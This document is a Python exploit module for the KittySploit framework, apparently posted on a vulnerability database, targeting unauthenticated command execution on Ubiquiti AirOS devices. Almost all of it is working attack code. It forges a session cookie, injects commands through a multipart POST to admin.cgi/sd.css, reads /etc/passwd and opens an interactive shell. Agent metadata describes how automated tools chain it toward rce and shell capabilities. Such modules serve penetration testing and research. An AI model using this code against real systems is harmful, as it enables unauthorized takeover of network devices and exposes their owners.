Ubiquiti AirOS - Unauthenticated CLI RCE
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Ubiquiti AirOS unauthenticated CLI RCE."""
import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler
class Module(Exploit, Http_client, Handler):
__info__ = {
'name': 'Ubiquiti AirOS - Unauthenticated CLI RCE',
'description': (
'Exploits AirOS unauthenticated CLI execution via multipart POST to '
'admin.cgi/sd.css with a forged AIROS_SESSIONID cookie.'
),
'author': ['KittySploit Team'],
'platform': Platform.LINUX,
'payload': {'default': 'nopayload'},
'references': ['https://www.securityfocus.com/bid/51178'],
'tags': ['ubiquiti', 'airos', 'rce', 'unauth'],
'agent': {
'risk': 'intrusive',
'effects': ['active_exploitation'],
'expected_requests': 2,
'reversible': False,
'approval_required': True,
'produces': ['exploit_paths', 'risk_signals'],
'cost': 1.5,
'noise': 0.4,
'value': 1.0,
'requires': {
'min_endpoints': 0, 'min_params': 0,
'tech_hints_any': [], 'tech_hints_all': [],
'specializations_any': [], 'risk_signals_any': [],
'auth_session': False, 'capabilities_any': [], 'capabilities_all': [],
'confidence_min': {}, 'confidence_min_any': {},
'endpoint_pattern_any': [], 'param_any': [], 'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [
{'capability': 'rce', 'from_detail': ''},
{'capability': 'shell', 'from_detail': ''},
],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': ['scanner/http/ubiquiti_airos_rce_detect'],
},
},
}
cgi_path = OptString('/admin.cgi/sd.css', 'AirOS CGI path', required=False)
def execute(self, cmd: str) -> str:
path = str(self.cgi_path or '/admin.cgi/sd.css')
boundary = '---------------------------15531490717347903902081461200'
body = (
f'--{boundary}\r\n'
'Content-Disposition: form-data; name="exec"\r\n\r\n'
f'{cmd}\r\n'
f'--{boundary}\r\n'
'Content-Disposition: form-data; name="action"\r\n\r\n'
'cli\r\n'
f'--{boundary}--\r\n'
)
r = self.http_request(
method='POST',
path=path,
data=body,
headers={
'Content-Type': f'multipart/form-data; boundary={boundary}',
'Cookie': 'AIROS_SESSIONID=a447a1b693b321f598389d6972ab5c18; ui_language=pt_PT',
},
allow_redirects=False,
)
return (r.text or '') if r else ''
def handler_execute(self):
out = self.execute('id')
if not out or not re.search(r'uid=\d+', out):
out = self.execute('cat /etc/passwd')
if not out or not re.search(r'root:.*:0:0:', out):
print_error('Target does not appear vulnerable to AirOS CLI RCE')
return False
print_success('Ubiquiti AirOS CLI RCE confirmed')
self.handler_console()
return True
def run(self):
return self.handler_execute()
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10 Aug 2026 06:19Current
5.9Medium risk
Vulners AI Score5.9